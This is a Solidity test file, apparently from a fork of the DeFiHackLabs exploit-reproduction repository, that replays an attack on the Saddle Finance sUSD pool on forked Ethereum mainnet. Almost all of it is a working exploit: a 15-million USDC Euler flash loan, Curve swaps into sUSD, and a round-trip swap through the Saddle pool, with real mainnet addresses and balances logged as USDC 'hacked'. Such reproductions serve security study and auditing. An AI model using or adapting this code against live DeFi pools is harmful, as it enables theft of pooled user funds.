forked from SunWeb3Sec/DeFiHackLabs
-
Notifications
You must be signed in to change notification settings - Fork 3
/
Saddle_exp.sol
117 lines (102 loc) · 3.59 KB
/
Saddle_exp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "./interface.sol";
interface IEuler {
function flashLoan(
address receiver,
address token,
uint256 amount,
bytes calldata data
) external returns (bool);
}
interface ICurve {
function exchange(int128 i, int128 j, uint256 dx, uint256 min_dy) external;
}
interface ISaddle {
function swap(
uint8 i,
uint8 j,
uint256 dx,
uint256 min_dy,
uint deadline
) external returns (uint);
}
contract ContractTest is DSTest {
address private constant eulerLoans =
0x07df2ad9878F8797B4055230bbAE5C808b8259b3;
address private constant usdc = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
address private constant susd = 0x57Ab1ec28D129707052df4dF418D58a2D46d5f51;
address private constant dai = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
address private constant usdt = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
address private constant saddleUsdV2 =
0x5f86558387293b6009d7896A61fcc86C17808D62;
address private constant curvepool =
0xA5407eAE9Ba41422680e2e00537571bcC53efBfD;
address private constant saddlepool =
0x824dcD7b044D60df2e89B1bB888e66D8BCf41491;
CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
function setUp() public {
cheats.createSelectFork("mainnet", 14684306);
}
function testExploit() public {
IEuler(eulerLoans).flashLoan(
address(this),
usdc,
15000000e6,
new bytes(0)
);
console.log("USDC hacked: %s", IERC20(usdc).balanceOf(address(this)));
}
function onFlashLoan(
address initiator,
address token,
uint256 amount,
uint256 fee,
bytes calldata data
) external returns (bytes32) {
attack();
//Repay Loan
IERC20(usdc).approve(msg.sender, amount + fee);
return keccak256("ERC3156FlashBorrower.onFlashLoan");
}
function attack() internal {
//Swap USDC to SUSD Via Curve
console.log("USDC loaned: %s", IERC20(usdc).balanceOf(address(this)));
uint amount = IERC20(usdc).balanceOf(address(this));
IERC20(usdc).approve(curvepool, amount);
ICurve(curvepool).exchange(1, 3, amount, 1);
console.log(
"SUSD exchanged: %s",
IERC20(susd).balanceOf(address(this))
);
//Attack
swapToSaddle(IERC20(susd).balanceOf(address(this)));
swapFromSaddle();
//Swap Susd to USDC via curve
amount = IERC20(susd).balanceOf(address(this));
IERC20(susd).approve(curvepool, amount);
ICurve(curvepool).exchange(3, 1, amount, 1);
console.log(
"USDC exchanged: %s",
IERC20(usdc).balanceOf(address(this))
);
}
function swapToSaddle(uint amountStart) internal {
//Swap SUSD for SaddleUSDV2
uint amount = amountStart;
IERC20(susd).approve(saddlepool, amount);
ISaddle(saddlepool).swap(0, 1, amount, 1, block.timestamp);
console.log(
"saddleUsdV2 swapped: %s",
IERC20(saddleUsdV2).balanceOf(address(this))
);
}
function swapFromSaddle() internal {
//Swap SaddleUSDV2 for SUSD
uint amount = IERC20(saddleUsdV2).balanceOf(address(this));
IERC20(saddleUsdV2).approve(saddlepool, amount);
ISaddle(saddlepool).swap(1, 0, amount, 1, block.timestamp);
console.log("SUSD swapped: %s", IERC20(susd).balanceOf(address(this)));
}
}